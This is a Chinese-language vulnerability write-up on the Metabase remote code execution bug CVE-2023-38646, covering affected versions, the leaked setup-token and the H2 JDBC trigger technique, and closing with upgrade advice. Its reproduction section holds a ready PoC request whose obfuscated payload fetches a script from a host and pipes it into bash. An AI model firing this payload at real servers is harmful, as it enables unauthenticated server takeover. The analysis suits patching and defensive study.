漏洞分析|Metabase 远程代码执行漏洞(CVE-2023-38646)

1.漏洞描述

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令。利用时不需要身份验证。

2.影响版本

Metabase open source 0.46 < 0.46.6.1

Metabase Enterprise 1.46 < 1.46.6.1

Metabase open source 0.45 < v0.45.4.1

Metabase Enterprise 1.45 < 1.45.4.1

Metabase open source 0.44 < 0.44.7.1

Metabase Enterprise 1.44 < 1.44.7.1

Metabase open source 0.43 < 0.43.7.2

Metabase Enterprise 1.43 < 1.43.7.2

3.影响范围

4.漏洞复现

访问http://192.168.77.142:3000/api/session/properties

需要先获取到setup-token

POC

POST /api/setup/validate HTTP/1.1
Host: 192.168.77.142:3000
Content-Type: application/json
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Length: 804

{
    "token": "89a6ac54-4d90-4db9-a8b7-9469be8b4848",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAxOTIuMTY4Ljc3LjE0Mjo4ODY0LzEudHh0}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

5.漏洞分析

令牌泄露

在Metabase 进行安装时,存在一个特殊的令牌setup-token,按照官方预设的流程,一般来说其只能存在一次,在安装结束之后便会清除,但是官方完成安装后移除setup-token 这个重要的的操作给移除了。

https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-bf3f2797f327779cbbd6bfab7e45261c7ee93b29db6828d2ee0ad17acf4d7825L33

这导致了完成安装后 properties仍然存在setup-token

所以我们可以通过/api/session/properties来读取 setup-token

现在 我们已经拿到了 setup-token 以用于调用setup api。

JDBC RCE

src/metabase/api/setup.clj
存在路由/api/setup/validate,用于验证数据库是否连接成功

它会通过api.database/test-database-connection来处理输入的参数完成对数据库的校验
跟进到src/metabase/api/database.clj

就是一个JDBC Connection

根据pyn3rd师傅分享的https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/可以知道,可以通过以下三种方式攻击H2数据库

  1. RUNSCRIPT FROM远程加载sql文件(需要出网)
  2. CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
  3. CREATE TRIGGER配合 javascript 引擎构建代码执行

我们这里采用第三种方法,无需出网和额外依赖即可使用,javax.script.ScriptEngineManager是Java中用于执行脚本的引擎,只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本,并编译和执行。

6.修复建议

目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。

官方下载地址:

https://github.com/metabase/metabase/releases

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值